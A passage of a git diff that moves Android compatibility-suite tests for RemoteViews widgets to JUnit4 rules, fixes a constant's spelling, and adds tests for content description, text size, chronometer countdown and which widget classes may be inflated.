+import com.android.compatibility.common.util.NullWebViewUtils;
 
-public class RemoteViewsActivityTest
-        extends ActivityInstrumentationTestCase2<RemoteViewsCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class RemoteViewsActivityTest {
     private static final String PACKAGE_NAME = "android.widget.cts";
     private Activity mActivity;
 
-    public RemoteViewsActivityTest() {
-        super(PACKAGE_NAME, RemoteViewsCtsActivity.class);
+    @Rule
+    public ActivityTestRule<RemoteViewsCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RemoteViewsCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
-    @MediumTest
-    public void testGood() throws Exception {
+    @Test
+    public void testGood() {
         RemoteViews orig = new RemoteViews(PACKAGE_NAME, R.layout.remote_view_test_good);
         Parcel p = Parcel.obtain();
         orig.writeToParcel(p, 0);
@@ -69,8 +77,8 @@
         assertTrue("Button not inflated", result.findViewById(R.id.button) != null);
     }
 
-    @MediumTest
-    public void testDerivedClass() throws Exception {
+    @Test
+    public void testDerivedClass() {
         RemoteViews orig = new RemoteViews(PACKAGE_NAME, R.layout.remote_view_test_bad_1);
         Parcel p = Parcel.obtain();
         orig.writeToParcel(p, 0);
@@ -95,8 +103,8 @@
         assertNull("Derived class (EditText) allowed to be inflated", result);
     }
 
-    @MediumTest
-    public void testWebView() throws Exception {
+    @Test
+    public void testWebView() {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsCtsActivity.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsCtsActivity.java
index 64001dc..364f522 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsCtsActivity.java
@@ -16,10 +16,7 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
-import android.cts.util.NullWebViewUtils;
 import android.os.Bundle;
 import android.widget.RemoteViews;
 
@@ -29,11 +26,7 @@
 public class RemoteViewsCtsActivity extends Activity {
     @Override
     protected void onCreate(Bundle savedInstanceState) {
-        try {
-            super.onCreate(savedInstanceState);
-            setContentView(R.layout.remoteviews_host);
-        } catch (Exception e) {
-            NullWebViewUtils.determineIfWebViewAvailable(this, e);
-        }
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.remoteviews_host);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index 605dbb6..f8b9994 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -16,38 +16,71 @@
 
 package android.widget.cts;
 
-import android.graphics.drawable.Icon;
-import android.test.UiThreadTest;
-import android.widget.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
 import android.app.Instrumentation;
-import android.app.PendingIntent;
 import android.app.Instrumentation.ActivityMonitor;
+import android.app.PendingIntent;
+import android.content.Context;
 import android.content.Intent;
 import android.content.res.ColorStateList;
-import android.cts.util.WidgetTestUtils;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.Icon;
 import android.net.Uri;
+import android.os.Bundle;
 import android.os.Parcel;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
+import android.util.TypedValue;
 import android.view.View;
+import android.view.ViewGroup;
 import android.widget.AbsoluteLayout;
+import android.widget.AnalogClock;
+import android.widget.Button;
 import android.widget.Chronometer;
+import android.widget.DatePicker;
+import android.widget.DateTimeView;
 import android.widget.EditText;
 import android.widget.FrameLayout;
+import android.widget.GridLayout;
 import android.widget.GridView;
+import android.widget.ImageButton;
 import android.widget.ImageView;
 import android.widget.LinearLayout;
 import android.widget.ListView;
+import android.widget.NumberPicker;
 import android.widget.ProgressBar;
+import android.widget.RatingBar;
 import android.widget.RelativeLayout;
 import android.widget.RemoteViews;
-import android.widget.TextView;
 import android.widget.RemoteViews.ActionException;
+import android.widget.SeekBar;
+import android.widget.StackView;
+import android.widget.TextClock;
+import android.widget.TextView;
+import android.widget.ViewFlipper;
+import android.widget.cts.util.TestUtils;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.ExpectedException;
+import org.junit.runner.RunWith;
 
 import java.io.File;
 import java.io.FileOutputStream;
@@ -58,42 +91,58 @@
 /**
  * Test {@link RemoteViews}.
  */
-public class RemoteViewsTest extends ActivityInstrumentationTestCase2<RemoteViewsCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class RemoteViewsTest {
     private static final String PACKAGE_NAME = "android.widget.cts";
 
-    private static final int INVALD_ID = -1;
+    private static final int INVALID_ID = -1;
 
     private static final long TEST_TIMEOUT = 5000;
 
+    @Rule
+    public ActivityTestRule<RemoteViewsCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RemoteViewsCtsActivity.class);
+
+    @Rule
+    public ExpectedException mExpectedException = ExpectedException.none();
+
+    private Instrumentation mInstrumentation;
+
+    private Context mContext;
+
     private RemoteViews mRemoteViews;
 
     private View mResult;
 
-    private Activity mActivity;
+    @UiThreadTest
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
+        mRemoteViews = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
+        mResult = mRemoteViews.apply(mContext, null);
 
-    public RemoteViewsTest() {
-        super(PACKAGE_NAME, RemoteViewsCtsActivity.class);
+        // Add our host view to the activity behind this test. This is similar to how launchers
+        // add widgets to the on-screen UI.
+        ViewGroup root = (ViewGroup) mActivityRule.getActivity().findViewById
+                (R.id.remoteView_host);
+        FrameLayout.MarginLayoutParams lp = new FrameLayout.MarginLayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT,
+                ViewGroup.LayoutParams.MATCH_PARENT);
+        mResult.setLayoutParams(lp);
+
+        root.addView(mResult);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        getInstrumentation().runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                mRemoteViews = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
-                mResult = mRemoteViews.apply(mActivity, null);
-            }
-        });
-    }
-
+    @Test
     public void testConstructor() {
         new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
 
         new RemoteViews(Parcel.obtain());
     }
 
+    @Test
     public void testGetPackage() {
         assertEquals(PACKAGE_NAME, mRemoteViews.getPackage());
 
@@ -101,106 +150,131 @@
         assertNull(mRemoteViews.getPackage());
     }
 
+    @Test
     public void testGetLayoutId() {
         assertEquals(R.layout.remoteviews_good, mRemoteViews.getLayoutId());
 
         mRemoteViews = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
         assertEquals(R.layout.listview_layout, mRemoteViews.getLayoutId());
 
-        mRemoteViews = new RemoteViews(PACKAGE_NAME, INVALD_ID);
-        assertEquals(INVALD_ID, mRemoteViews.getLayoutId());
+        mRemoteViews = new RemoteViews(PACKAGE_NAME, INVALID_ID);
+        assertEquals(INVALID_ID, mRemoteViews.getLayoutId());
 
         mRemoteViews = new RemoteViews(PACKAGE_NAME, 0);
         assertEquals(0, mRemoteViews.getLayoutId());
     }
 
-    public void testSetViewVisibility() {
+    @Test
+    public void testSetContentDescription() throws Throwable {
+        View view = mResult.findViewById(R.id.remoteView_frame);
+
+        assertNull(view.getContentDescription());
+
+        CharSequence contentDescription = mContext.getString(R.string.remote_content_description);
+        mRemoteViews.setContentDescription(R.id.remoteView_frame, contentDescription);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertTrue(TextUtils.equals(contentDescription, view.getContentDescription()));
+    }
+
+    @Test
+    public void testSetViewVisibility() throws Throwable {
         View view = mResult.findViewById(R.id.remoteView_chronometer);
         assertEquals(View.VISIBLE, view.getVisibility());
 
         mRemoteViews.setViewVisibility(R.id.remoteView_chronometer, View.INVISIBLE);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(View.INVISIBLE, view.getVisibility());
 
         mRemoteViews.setViewVisibility(R.id.remoteView_chronometer, View.GONE);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(View.GONE, view.getVisibility());
 
         mRemoteViews.setViewVisibility(R.id.remoteView_chronometer, View.VISIBLE);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(View.VISIBLE, view.getVisibility());
     }
 
-    public void testSetTextViewText() {
+    @Test
+    public void testSetTextViewText() throws Throwable {
         TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
         assertEquals("", textView.getText().toString());
 
         String expected = "This is content";
         mRemoteViews.setTextViewText(R.id.remoteView_text, expected);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(expected, textView.getText().toString());
 
         mRemoteViews.setTextViewText(R.id.remoteView_text, null);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals("", textView.getText().toString());
 
+        mExpectedException.expect(ActionException.class);
         mRemoteViews.setTextViewText(R.id.remoteView_absolute, "");
-        try {
-            mRemoteViews.reapply(mActivity, mResult);
-            fail("Should throw ActionException");
-        } catch (ActionException e) {
-            // expected
-        }
+        mRemoteViews.reapply(mContext, mResult);
     }
 
-    public void testSetIcon() {
+    @Test
+    public void testSetTextViewTextSize() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+
+        mRemoteViews.setTextViewTextSize(R.id.remoteView_text, TypedValue.COMPLEX_UNIT_SP, 18);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(mContext.getResources().getDisplayMetrics().scaledDensity * 18,
+                textView.getTextSize(), 0.001f);
+
+        mExpectedException.expect(Throwable.class);
+        mRemoteViews.setTextViewTextSize(R.id.remoteView_absolute, TypedValue.COMPLEX_UNIT_SP, 20);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetIcon() throws Throwable {
         ImageView image = (ImageView) mResult.findViewById(R.id.remoteView_image);
         assertNull(image.getDrawable());
 
-        Icon iconBlack = Icon.createWithResource(mActivity, R.drawable.icon_black);
+        Icon iconBlack = Icon.createWithResource(mContext, R.drawable.icon_black);
         mRemoteViews.setIcon(R.id.remoteView_image, "setImageIcon", iconBlack);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertNotNull(image.getDrawable());
-        BitmapDrawable dBlack = (BitmapDrawable) mActivity.getDrawable(R.drawable.icon_black);
+        BitmapDrawable dBlack = (BitmapDrawable) mContext.getDrawable(R.drawable.icon_black);
         WidgetTestUtils.assertEquals(dBlack.getBitmap(),
                 ((BitmapDrawable) image.getDrawable()).getBitmap());
     }
 
-    public void testSetImageViewIcon() {
+    @Test
+    public void testSetImageViewIcon() throws Throwable {
         ImageView image = (ImageView) mResult.findViewById(R.id.remoteView_image);
         assertNull(image.getDrawable());
 
-        Icon iconBlue = Icon.createWithResource(mActivity, R.drawable.icon_blue);
+        Icon iconBlue = Icon.createWithResource(mContext, R.drawable.icon_blue);
         mRemoteViews.setImageViewIcon(R.id.remoteView_image, iconBlue);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertNotNull(image.getDrawable());
-        BitmapDrawable dBlue = (BitmapDrawable) mActivity.getDrawable(R.drawable.icon_blue);
+        BitmapDrawable dBlue = (BitmapDrawable) mContext.getDrawable(R.drawable.icon_blue);
         WidgetTestUtils.assertEquals(dBlue.getBitmap(),
                 ((BitmapDrawable) image.getDrawable()).getBitmap());
 
     }
 
-    public void testSetImageViewResource() {
+    @Test
+    public void testSetImageViewResource() throws Throwable {
         ImageView image = (ImageView) mResult.findViewById(R.id.remoteView_image);
         assertNull(image.getDrawable());
 
         mRemoteViews.setImageViewResource(R.id.remoteView_image, R.drawable.testimage);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertNotNull(image.getDrawable());
-        BitmapDrawable d = (BitmapDrawable) mActivity.getDrawable(R.drawable.testimage);
+        BitmapDrawable d = (BitmapDrawable) mContext.getDrawable(R.drawable.testimage);
         WidgetTestUtils.assertEquals(d.getBitmap(),
                 ((BitmapDrawable) image.getDrawable()).getBitmap());
 
+        mExpectedException.expect(ActionException.class);
         mRemoteViews.setImageViewResource(R.id.remoteView_absolute, R.drawable.testimage);
-        try {
-            mRemoteViews.reapply(mActivity, mResult);
-            fail("Should throw ActionException");
-        } catch (ActionException e) {
-            // expected
-        }
+        mRemoteViews.reapply(mContext, mResult);
     }
 
-    public void testSetImageViewUri() throws IOException {
+    @Test
+    public void testSetImageViewUri() throws Throwable {
         String path = getTestImagePath();
         File imageFile = new File(path);
 
@@ -212,11 +286,11 @@
             assertNull(image.getDrawable());
 
             mRemoteViews.setImageViewUri(R.id.remoteView_image, uri);
-            mRemoteViews.reapply(mActivity, mResult);
+            mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
 
             Bitmap imageViewBitmap = ((BitmapDrawable) image.getDrawable()).getBitmap();
             Bitmap expectedBitmap = WidgetTestUtils.getUnscaledAndDitheredBitmap(
-                    mActivity.getResources(), R.raw.testimage, imageViewBitmap.getConfig());
+                    mContext.getResources(), R.raw.testimage, imageViewBitmap.getConfig());
             WidgetTestUtils.assertEquals(expectedBitmap, imageViewBitmap);
         } finally {
             imageFile.delete();
@@ -227,42 +301,57 @@
      * Returns absolute file path of location where test image should be stored
      */
     private String getTestImagePath() {
-        return getInstrumentation().getTargetContext().getFilesDir() + "/test.jpg";
+        return mContext.getFilesDir() + "/test.jpg";
     }
 
-    public void testSetChronometer() {
+    @Test
+    public void testSetChronometer() throws Throwable {
         long base1 = 50;
         long base2 = -50;
         Chronometer chronometer = (Chronometer) mResult.findViewById(R.id.remoteView_chronometer);
 
         mRemoteViews.setChronometer(R.id.remoteView_chronometer, base1, "HH:MM:SS",
                 false);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(base1, chronometer.getBase());
         assertEquals("HH:MM:SS", chronometer.getFormat());
 
         mRemoteViews.setChronometer(R.id.remoteView_chronometer, base2, "HH:MM:SS",
                 false);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(base2, chronometer.getBase());
         assertEquals("HH:MM:SS", chronometer.getFormat());
 
         mRemoteViews.setChronometer(R.id.remoteView_chronometer, base1, "invalid",
                 true);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(base1, chronometer.getBase());
         assertEquals("invalid", chronometer.getFormat());
 
+        mExpectedException.expect(ActionException.class);
         mRemoteViews.setChronometer(R.id.remoteView_absolute, base1, "invalid", true);
-        try {
-            mRemoteViews.reapply(mActivity, mResult);
-            fail("Should throw ActionException");
-        } catch (ActionException e) {
-            // expected
-        }
+        mRemoteViews.reapply(mContext, mResult);
     }
 
-    public void testSetProgressBar() {
+    @Test
+    public void testSetChronometerCountDown() throws Throwable {
+        Chronometer chronometer = (Chronometer) mResult.findViewById(R.id.remoteView_chronometer);
+
+        mRemoteViews.setChronometerCountDown(R.id.remoteView_chronometer, true);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertTrue(chronometer.isCountDown());
+
+        mRemoteViews.setChronometerCountDown(R.id.remoteView_chronometer, false);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertFalse(chronometer.isCountDown());
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setChronometerCountDown(R.id.remoteView_absolute, true);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetProgressBar() throws Throwable {
         ProgressBar progress = (ProgressBar) mResult.findViewById(R.id.remoteView_progress);
         assertEquals(100, progress.getMax());
         assertEquals(0, progress.getProgress());
@@ -270,27 +359,24 @@
         assertFalse(progress.isIndeterminate());
 
         mRemoteViews.setProgressBar(R.id.remoteView_progress, 80, 50, true);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         // make the bar indeterminate will not affect max and progress
         assertEquals(100, progress.getMax());
         assertEquals(0, progress.getProgress());
         assertTrue(progress.isIndeterminate());
 
         mRemoteViews.setProgressBar(R.id.remoteView_progress, 60, 50, false);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(60, progress.getMax());
         assertEquals(50, progress.getProgress());
         assertFalse(progress.isIndeterminate());
 
+        mExpectedException.expect(ActionException.class);
         mRemoteViews.setProgressBar(R.id.remoteView_relative, 60, 50, false);
-        try {
-            mRemoteViews.reapply(mActivity, mResult);
-            fail("Should throw ActionException");
-        } catch (ActionException e) {
-            // expected
-        }
+        mRemoteViews.reapply(mContext, mResult);
     }
 
+    @Test
     public void testApply() {
         assertNotNull(mResult);
         assertNotNull(mResult.findViewById(R.id.remoteViews_good));
@@ -304,44 +390,58 @@
         assertNotNull(mResult.findViewById(R.id.remoteView_text));
     }
 
-    public void testReapply() {
-        TextView text = new TextView(mActivity);
+    @Test
+    public void testReapply() throws Throwable {
         ImageView image = (ImageView) mResult.findViewById(R.id.remoteView_image);
         assertNull(image.getDrawable());
 
         mRemoteViews.setImageViewResource(R.id.remoteView_image, R.drawable.testimage);
-        mRemoteViews.reapply(mActivity, image);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, image));
         assertNotNull(image.getDrawable());
-        BitmapDrawable d = (BitmapDrawable) mActivity
+        BitmapDrawable d = (BitmapDrawable) mContext
                 .getResources().getDrawable(R.drawable.testimage);
         WidgetTestUtils.assertEquals(d.getBitmap(),
                 ((BitmapDrawable) image.getDrawable()).getBitmap());
     }
 
+    @Test
     public void testOnLoadClass() {
         mRemoteViews = new RemoteViews(Parcel.obtain());
 
-        assertTrue(mRemoteViews.onLoadClass(RelativeLayout.class));
-        assertTrue(mRemoteViews.onLoadClass(FrameLayout.class));
         assertTrue(mRemoteViews.onLoadClass(AbsoluteLayout.class));
-        assertTrue(mRemoteViews.onLoadClass(LinearLayout.class));
-        assertTrue(mRemoteViews.onLoadClass(TextView.class));
-        assertTrue(mRemoteViews.onLoadClass(ImageView.class));
-        assertTrue(mRemoteViews.onLoadClass(ProgressBar.class));
+        assertTrue(mRemoteViews.onLoadClass(AnalogClock.class));
+        assertTrue(mRemoteViews.onLoadClass(Button.class));
         assertTrue(mRemoteViews.onLoadClass(Chronometer.class));
-        assertTrue(mRemoteViews.onLoadClass(ListView.class));
+        assertTrue(mRemoteViews.onLoadClass(DateTimeView.class));
+        assertTrue(mRemoteViews.onLoadClass(FrameLayout.class));
+        assertTrue(mRemoteViews.onLoadClass(GridLayout.class));
         assertTrue(mRemoteViews.onLoadClass(GridView.class));
+        assertTrue(mRemoteViews.onLoadClass(ImageButton.class));
+        assertTrue(mRemoteViews.onLoadClass(ImageView.class));
+        assertTrue(mRemoteViews.onLoadClass(LinearLayout.class));
+        assertTrue(mRemoteViews.onLoadClass(ListView.class));
+        assertTrue(mRemoteViews.onLoadClass(ProgressBar.class));
+        assertTrue(mRemoteViews.onLoadClass(RelativeLayout.class));
+        assertTrue(mRemoteViews.onLoadClass(StackView.class));
+        assertTrue(mRemoteViews.onLoadClass(TextClock.class));
+        assertTrue(mRemoteViews.onLoadClass(TextView.class));
+        assertTrue(mRemoteViews.onLoadClass(ViewFlipper.class));
 
         // those classes without annotation @RemoteView
         assertFalse(mRemoteViews.onLoadClass(EditText.class));
+        assertFalse(mRemoteViews.onLoadClass(DatePicker.class));
+        assertFalse(mRemoteViews.onLoadClass(NumberPicker.class));
+        assertFalse(mRemoteViews.onLoadClass(RatingBar.class));
+        assertFalse(mRemoteViews.onLoadClass(SeekBar.class));
     }
 
+    @Test
     public void testDescribeContents() {
         mRemoteViews = new RemoteViews(Parcel.obtain());
         mRemoteViews.describeContents();
     }
 
-    @UiThreadTest
+    @Test
     public void testWriteToParcel() {
         mRemoteViews.setTextViewText(R.id.remoteView_text, "This is content");
         mRemoteViews.setViewVisibility(R.id.remoteView_frame, View.GONE);
@@ -351,7 +451,7 @@
 
         // the package and layout are successfully written into parcel
         mRemoteViews = RemoteViews.CREATOR.createFromParcel(p);
-        View result = mRemoteViews.apply(mActivity, null);
+        View result = mRemoteViews.apply(mContext, null);
         assertEquals(PACKAGE_NAME, mRemoteViews.getPackage());
         assertEquals(R.layout.remoteviews_good, mRemoteViews.getLayoutId());
         assertEquals("This is content", ((TextView) result.findViewById(R.id.remoteView_text))
@@ -359,12 +459,6 @@
         assertEquals(View.GONE, result.findViewById(R.id.remoteView_frame).getVisibility());
 
         p = Parcel.obtain();
-        try {
-            mRemoteViews.writeToParcel(null, 0);
-            fail("Should throw NullPointerException");
-        } catch (NullPointerException e) {
-            // expected
-        }
 
         // currently the flag is not used
         mRemoteViews.writeToParcel(p, -1);
@@ -374,131 +468,121 @@
         RemoteViews[] remote = RemoteViews.CREATOR.newArray(1);
         assertNotNull(remote);
         assertEquals(1, remote.length);
-
-        try {
-            RemoteViews.CREATOR.newArray(-1);
-            fail("should throw NegativeArraySizeException");
-        } catch (NegativeArraySizeException e) {
-            // expected
-        }
     }
 
-    public void testSetImageViewBitmap() {
+    @Test(expected=NullPointerException.class)
+    public void testWriteNullToParcel() {
+        mRemoteViews.writeToParcel(null, 0);
+    }
+
+    @Test(expected=NegativeArraySizeException.class)
+    public void testCreateNegativeSizedArray() {
+        RemoteViews.CREATOR.newArray(-1);
+    }
+
+    @Test
+    public void testSetImageViewBitmap() throws Throwable {
         ImageView image = (ImageView) mResult.findViewById(R.id.remoteView_image);
         assertNull(image.getDrawable());
 
         Bitmap bitmap =
-                BitmapFactory.decodeResource(mActivity.getResources(), R.drawable.testimage);
+                BitmapFactory.decodeResource(mContext.getResources(), R.drawable.testimage);
         mRemoteViews.setImageViewBitmap(R.id.remoteView_image, bitmap);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertNotNull(image.getDrawable());
         WidgetTestUtils.assertEquals(bitmap, ((BitmapDrawable) image.getDrawable()).getBitmap());
 
+        mExpectedException.expect(ActionException.class);
         mRemoteViews.setImageViewBitmap(R.id.remoteView_absolute, bitmap);
-        try {
-            mRemoteViews.reapply(mActivity, mResult);
-            fail("Should throw ActionException");
-        } catch (ActionException e) {
-            // expected
-        }
+        mRemoteViews.reapply(mContext, mResult);
     }
 
-    public void testSetBitmap() {
+    @Test
+    public void testSetBitmap() throws Throwable {
         ImageView image = (ImageView) mResult.findViewById(R.id.remoteView_image);
         assertNull(image.getDrawable());
 
         Bitmap bitmap =
-                BitmapFactory.decodeResource(mActivity.getResources(), R.drawable.testimage);
+                BitmapFactory.decodeResource(mContext.getResources(), R.drawable.testimage);
         mRemoteViews.setBitmap(R.id.remoteView_image, "setImageBitmap", bitmap);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertNotNull(image.getDrawable());
         WidgetTestUtils.assertEquals(bitmap, ((BitmapDrawable) image.getDrawable()).getBitmap());
 
+        mExpectedException.expect(ActionException.class);
         mRemoteViews.setBitmap(R.id.remoteView_absolute, "setImageBitmap", bitmap);
-        try {
-            mRemoteViews.reapply(mActivity, mResult);
-            fail("Should throw ActionException");
-        } catch (ActionException e) {
-            // expected
-        }
+        mRemoteViews.reapply(mContext, mResult);
     }
 
-    public void testSetBoolean() {
+    @Test
+    public void testSetBoolean() throws Throwable {
         ProgressBar progress = (ProgressBar) mResult.findViewById(R.id.remoteView_progress);
         // the view uses style progressBarHorizontal, so the default is false
         assertFalse(progress.isIndeterminate());
 
         mRemoteViews.setBoolean(R.id.remoteView_progress, "setIndeterminate", true);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertTrue(progress.isIndeterminate());
 
+        mExpectedException.expect(ActionException.class);
         mRemoteViews.setBoolean(R.id.remoteView_relative, "setIndeterminate", false);
-        try {
-            mRemoteViews.reapply(mActivity, mResult);
-            fail("Should throw ActionException");
-        } catch (ActionException e) {
-            // expected
-        }
+        mRemoteViews.reapply(mContext, mResult);
     }
 
-    public void testSetCharSequence() {
+    @Test
+    public void testSetCharSequence() throws Throwable {
         TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
         assertEquals("", textView.getText().toString());
 
         String expected = "test setCharSequence";
         mRemoteViews.setCharSequence(R.id.remoteView_text, "setText", expected);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(expected, textView.getText().toString());
 
         mRemoteViews.setCharSequence(R.id.remoteView_text, "setText", null);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals("", textView.getText().toString());
 
+        mExpectedException.expect(ActionException.class);
         mRemoteViews.setCharSequence(R.id.remoteView_absolute, "setText", "");
-        try {
-            mRemoteViews.reapply(mActivity, mResult);
-            fail("Should throw ActionException");
-        } catch (ActionException e) {
-            // expected
-        }
+        mRemoteViews.reapply(mContext, mResult);
     }
 
-    public void testSetInt() {
+    @Test
+    public void testSetInt() throws Throwable {
         View view = mResult.findViewById(R.id.remoteView_chronometer);
         assertEquals(View.VISIBLE, view.getVisibility());
 
         mRemoteViews.setInt(R.id.remoteView_chronometer, "setVisibility", View.INVISIBLE);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(View.INVISIBLE, view.getVisibility());
 
         mRemoteViews.setInt(R.id.remoteView_chronometer, "setVisibility", View.GONE);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(View.GONE, view.getVisibility());
 
         mRemoteViews.setInt(R.id.remoteView_chronometer, "setVisibility", View.VISIBLE);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(View.VISIBLE, view.getVisibility());
     }
 
-    public void testSetString() {
+    @Test
+    public void testSetString() throws Throwable {
         String format = "HH:MM:SS";
         Chronometer chronometer = (Chronometer) mResult.findViewById(R.id.remoteView_chronometer);
         assertNull(chronometer.getFormat());
 
         mRemoteViews.setString(R.id.remoteView_chronometer, "setFormat", format);
-        mRemoteViews.reapply(mActivity, mResult);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
         assertEquals(format, chronometer.getFormat());
 
+        mExpectedException.expect(ActionException.class);
         mRemoteViews.setString(R.id.remoteView_image, "setFormat", format);
-        try {
-            mRemoteViews.reapply(mActivity, mResult);
-            fail("Should throw ActionException");
-        } catch (ActionException e) {
-            // expected
-        }
+        mRemoteViews.reapply(mContext, mResult);
     }
 
-    public void testSetUri() throws IOException {
+    @Test
+    public void testSetUri() throws Throwable {
         String path = getTestImagePath();
         File imagefile = new File(path);
 
@@ -510,50 +594,102 @@
             assertNull(image.getDrawable());
 
             mRemoteViews.setUri(R.id.remoteView_image, "setImageURI", uri);
-            mRemoteViews.reapply(mActivity, mResult);
+            mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
 
             Bitmap imageViewBitmap = ((BitmapDrawable) image.getDrawable()).getBitmap();
             Bitmap expectedBitmap = WidgetTestUtils.getUnscaledAndDitheredBitmap(
-                    mActivity.getResources(), R.raw.testimage, imageViewBitmap.getConfig());
+                    mContext.getResources(), R.raw.testimage, imageViewBitmap.getConfig());
             WidgetTestUtils.assertEquals(expectedBitmap, imageViewBitmap);
 
+            mExpectedException.expect(ActionException.class);
             mRemoteViews.setUri(R.id.remoteView_absolute, "setImageURI", uri);
-            try {
-                mRemoteViews.reapply(mActivity, mResult);
-                fail("Should throw ActionException");
